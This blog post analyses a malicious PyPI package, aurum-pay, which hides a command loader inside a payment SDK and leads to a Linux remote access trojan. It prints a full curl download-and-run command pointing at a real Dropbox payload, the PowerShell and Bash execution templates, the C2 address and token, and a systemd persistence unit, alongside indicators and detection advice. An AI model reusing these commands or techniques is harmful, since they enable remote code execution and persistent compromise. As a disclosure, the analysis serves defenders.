BLOG

Online Casino Serves Malicious Python SDK

An online casino is serving up malware via a malicious PyPI SDK package.

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

Online Casino Serves Malicious Python SDK

The OpenSourceMalware team has identified a malicious PyPI package that disguises a remote-command loader as a payment integration. aurum-pay version 1.2.0 presents developers with a plausible SDK for deposits, payouts, refunds, balances, and signed webhooks. Its advertised functionality is real enough to pass a quick review, but the first API request also contacts an attacker-controlled endpoint and executes its response as an operating-system command.

Following the complete delivery chain revealed a statically linked Linux remote access trojan. The implant calls itself RCMD Remote Agent, connects to a hard-coded IP address over TLS, authenticates with an embedded token, installs systemd persistence, and gives its operator shell, filesystem, file-transfer, reconnaissance, and screenshot capabilities.

TL;DR

  • Threat Type: Supply-chain backdoor and remote access trojan

  • Affected Ecosystem: PyPI

  • Malicious Package: aurum-pay@1.2.0

  • Impact: Arbitrary code execution, persistence, file theft, remote payload delivery, and screenshots

  • C2: 209.99.184.80:443

  • Key Finding: The package executes the body returned by https://aurum-casino.com/sdk/ping through PowerShell or Bash before performing the requested payment API operation

  • Infrastructure Finding: The domain was newly registered one day before the RAT’s embedded C2 certificate became valid

Discovery

At first glance, aurum-pay resembles an ordinary server-side payment library. Its README documents payment creation, payout management, balance queries, refunds, and webhook verification. The package has no suspicious installation hook, no dependency chain to hide behind, and no encoded blob that runs during import.

The malicious behavior is instead attached to normal use. Every advertised network operation passes through AurumPay.request(), which calls _boot_once() before sending the requested API call. This design means importing the package or constructing a client is inert; the loader activates when an application makes its first real payment request.

The bootstrap function fingerprints the operating system, sends the platform and SDK version to /sdk/ping, reads the complete response as text, and launches it in the background. Errors are swallowed and process output is redirected, allowing the payment operation to continue without exposing the loader to the developer.

Technical Analysis

Stage 1: A Functional SDK With a Hidden Command Channel

The package defines the following bootstrap endpoint:

_PING_URL = "https://aurum-casino.com/sdk/ping"

On the first call through the SDK, it constructs this request:

GET /sdk/ping?p=<win|darwin|linux>&v=1.2.0
Host: aurum-casino.com
User-Agent: aurum-pay-python/1.2.0

The response is not parsed as JSON or telemetry configuration. It is treated as an arbitrary command. Windows victims launch it through a hidden PowerShell job:

powershell.exe -NoProfile -WindowStyle Hidden \
  -Command "Start-Job -ScriptBlock {<server response>} | Out-Null"

Linux and macOS victims execute it through Bash:

bash -c "<server response> > /dev/null 2>&1 &"

The loader sets its internal _booted flag before making the request, so it runs only once in each Python process. Network failures, empty responses, and launch errors are suppressed.

The payment façade creates a second risk. Requests to the default API host may transmit bearer API keys, payment and payout bodies, customer email addresses, customer IDs, and idempotency keys to the same domain used for command delivery.

Stage 2: Dropbox Payload Delivery

The recovered Linux response was a 165-byte shell command:

curl -sL "https://www.dropbox.com/scl/fi/ovn8wxlle1eev6fapq8kv/rcmd-agent?rlkey=mzlx4zi0peodkv8vwdv4tr0v7&st=vv80smtk&dl=1" -o /tmp/.c && chmod +x /tmp/.c && /tmp/.c

This command follows redirects, downloads the next stage to the inconspicuous path /tmp/.c, marks it executable, and runs it. The recovered payload is a 5,071,320-byte stripped, statically linked x86-64 ELF with build ID f0a4a1638252f6957597efb8b9ac7c0623231535.

Stage 3: RCMD Remote Agent

The ELF contains four obfuscated configuration blocks. Reconstructing its XOR transformation independently recovered the default controller, port, authentication token, and a complete embedded CA certificate:

C2 host: 209.99.184.80
C2 port: 443
Token environment variable: RCMD_TOKEN
Embedded token: k9Fv2Qm7Xp4Lw8Rt3Nc6Hb1Zy5Jd0Ms

The self-signed CA certificate uses 209.99.184.80 as its common name and includes both 209.99.184.80 and 127.0.0.1 as IP subject alternative names. Its validity period runs from October 8, 2026 through January 10, 2029. The implant also supports --ca and --insecure command-line options.

The agent opens a TLS connection to the controller, sends an authentication frame containing its token, and expects a response beginning with OK. Connection failures enter a retry loop with increasing delays capped at approximately 30 seconds. The host and port can be overridden with positional arguments, and the embedded credential can be replaced through RCMD_TOKEN.

A Working Casino as Operational Cover

The malware is not hiding behind an empty landing page. aurum-casino.com presents a functional casino site, while the package metadata claims to represent the same brand and points users to the domain for its homepage and developer documentation. This makes the web presence part of the threat model rather than incidental decoration.

Passive infrastructure research found that aurum-casino.com appears in a newly registered .com list for October 7, 2026. The RCMD implant’s embedded controller certificate became valid on October 8—one day later. That tight sequence connects the current domain registration, malware preparation, and C2 deployment in time as well as through the execution chain.

An older web-classification list also records aurum-casino.com as a gambling domain years before the current campaign. This creates an important historical wrinkle: the name may have expired and been re-registered by the present operator. If so, the actor acquired a domain with a plausible gambling identity and residual history rather than inventing an entirely new brand. Public evidence does not yet establish the prior expiration date or prove an ownership change, so this remains a supported hypothesis rather than a confirmed fact.

The safest conclusion is:

Evidence suggests that an expired gambling-themed domain was re-registered on October 7, 2026 and repurposed as brand cover and first-stage infrastructure for the aurum-pay campaign.

Historical WHOIS data would be needed to confirm the ownership transition. It is also not yet known whether the current operator copied an earlier casino, restored archived content, or built a new site around the old name.

Why Build a Functional Casino?

The site serves several operational purposes:

  1. Package legitimacy. A working website, branded email address, developer documentation, and realistic API surface make a malicious payment SDK more convincing to developers and reviewers.

  2. Loader camouflage. Requests to /sdk/ping resemble ordinary SDK telemetry on a matching vendor domain, even though the response is executed as a shell command.

  3. Role separation. The branded domain delivers the first command, Dropbox distributes the ELF, and a separate IP operates the durable RAT channel. Each component can be replaced independently.

  4. Access to payment data. The SDK can transmit bearer API keys, payment and payout details, customer identifiers, and idempotency keys to the default host while continuing to return plausible API responses.

A functioning casino could also be used to solicit deposits, credentials, or identity documents directly. That possibility is operationally plausible but remains unconfirmed: this investigation did not interact with deposit or registration workflows, and no transaction records or backend data were available.

Controller Hosting Context

The RAT’s 209.99.184.80 controller sits in 209.99.184.0/21, announced by AS402253, SKN Subnet & Telecom Ltd. Public BGP and passive-DNS data associates the exact address with gfta-api.online. Other addresses in the same allocation have hosted casino-themed domains, brand impersonation, and conspicuous names such as trojan-console.net.

This neighborhood strengthens the assessment that the RAT uses attacker-selected infrastructure, but it does not prove common ownership of every domain in the range. Shared or permissive hosting can place unrelated customers beside one another. The direct evidence remains the hard-coded IP, embedded certificate, authentication token, and custom protocol recovered from the ELF.

Remote Capabilities

Shell Access

The implant launches /bin/sh and returns command output to the controller. It implements stateful handling for commands such as cd, export, unset, pwd, echo, and exit; other input can be passed to the shell. This provides arbitrary command execution with the privileges of the compromised process.

Filesystem and Cloud Transfers

The controller can enumerate directories, read files, create files, write data in chunks, report file metadata, upload victim files, and download operator-selected content. The implant invokes curl for R2-style transfers using options including --fail, -sS, --max-time, and -X.

No fixed R2 hostname is present. Transfer URLs arrive from the controller, which means later payload locations and exfiltration destinations cannot be recovered from the ELF alone.

Screenshots

The agent stages screenshots at:

/tmp/.rcmd-ss.jpg

It supports several capture paths:

  1. scrot with JPEG quality set to 50.

  2. Direct X11 capture by dynamically loading libX11.so.6 or libX11.so.

  3. A Python/Pillow fallback using ImageGrab.grab().

To reach graphical sessions, it examines /proc/<pid>/environ and /tmp/.X11-unix, looking for DISPLAY and XAUTHORITY. It can then upload the resulting JPEG through an operator-provided transfer URL.

The implant also invokes gsettings against org.gnome.desktop.sound and its event-sounds setting. This appears intended to suppress desktop sounds, although the precise operational reason cannot be established from static evidence alone.

System Reconnaissance

The RAT reads /etc/os-release, /proc/cpuinfo, and /proc/meminfo. Confirmed collected attributes include the operating-system name, CPU model, total memory, current working directory, platform details, and graphical-session environment information.

Persistence Through a Fake Chromium Service

Persistence installation occurs during startup, before the main C2 loop. The agent obtains its own image through /proc/self/exe and installs it under a Chromium-themed name.

With root privileges, it creates:

/etc/systemd/system/chromium.service

For an unprivileged account, it copies itself to:

$HOME/.local/bin/chromium

and creates:

$HOME/.config/systemd/user/chromium.service

The generated service is configured to restart indefinitely:

[Unit]
Description=RCMD Remote Agent
After=network.target

[Service]
Type=simple
ExecStart=<installed agent path>
Restart=always
RestartSec=5
WorkingDirectory=/

The user-level branch also invokes loginctl enable-linger, allowing the service to continue without an interactive login.

Are There More Stages?

The recovered chain ends with the RCMD implant; the ELF contains no fixed fourth-stage URL or embedded fourth-stage payload. That does not mean the chain is payload-complete.

The controller can send arbitrary shell commands, supply download destinations, and provide R2 or other cloud-storage URLs at runtime. Any additional payload depends on live operator instructions and is therefore unavailable from static analysis. Without captured C2 traffic, those future branches remain explicitly unresolved.

No blockchain-based configuration or payload resolution was identified.

Indicators of Compromise (IOCs)

Malicious Package

PyPI: aurum-pay
Version: 1.2.0
Import name: aurum_pay

Network Infrastructure

aurum-casino.com
https://aurum-casino.com/sdk/ping
209.99.184.80
209.99.184.80:443
www.dropbox.com
https://www.dropbox.com/scl/fi/ovn8wxlle1eev6fapq8kv/rcmd-agent?rlkey=mzlx4zi0peodkv8vwdv4tr0v7&st=vv80smtk&dl=1

Files and Persistence

/tmp/.c
/tmp/.rcmd-ss.jpg
/etc/systemd/system/chromium.service
$HOME/.config/systemd/user/chromium.service
$HOME/.local/bin/chromium
Description=RCMD Remote Agent

Configuration

RCMD_TOKEN
k9Fv2Qm7Xp4Lw8Rt3Nc6Hb1Zy5Jd0Ms

File Hashes (SHA-256)

# aurum_pay/__init__.py
d6e250af80317e26d850f41d5c15e61fad4f678074a4f70695069fb6f7cab206

# Recovered /sdk/ping response
36df147e96e7a4de151feaa2259a4e31ce0bd91b83b418c02f41735948bf5b64

# RCMD Linux ELF
c119af2c72f0e68556fc0c7ca0c858845a04b5f46ebb31b614414a5bf470e414

Detection and Response

Defenders should search Python application hosts for connections to aurum-casino.com, especially requests to /sdk/ping containing p and v query parameters. Network telemetry should also be reviewed for TLS sessions to 209.99.184.80:443 and access to the identified Dropbox object.

On Linux systems, inspect both system and per-user systemd directories for chromium.service. Search for /tmp/.c, /tmp/.rcmd-ss.jpg, and $HOME/.local/bin/chromium, and check whether linger was enabled for the affected account. Process telemetry may show Python spawning Bash, followed by curl, /tmp/.c, systemctl, scrot, or python3 screenshot commands.

If the package was used, assume arbitrary code execution occurred. Isolate affected hosts, preserve endpoint and network evidence, revoke credentials available to the Python process, and rebuild compromised systems from a trusted image.

Conclusion

aurum-pay demonstrates why malicious packages do not need noisy installation scripts to compromise a developer or production environment. By placing its loader behind an ordinary SDK method, the package waits until realistic application activity occurs and then hides command execution behind the expected payment request.

The final RCMD implant turns that initial foothold into durable access through a fake Chromium service, authenticated TLS command-and-control, remote shell execution, file transfer, reconnaissance, and screenshots. Although no fixed fourth-stage payload is embedded, the implant’s operator-controlled download and shell paths leave the host open to any later tooling the controller chooses to deploy.

The infrastructure timeline adds another lesson: a polished and apparently functional business website is not evidence of legitimacy. Here, the likely re-registration of a historically gambling-themed domain gave the operator a credible brand, a home for malicious SDK telemetry, and a façade capable of supporting both technical compromise and potential financial-data collection.

If you encounter similar packages or suspicious activity, please report them to OpenSourceMalware.com.

Stay safe out there.

Tags: #pypi #supply-chain #backdoor #rat #c2 #analysis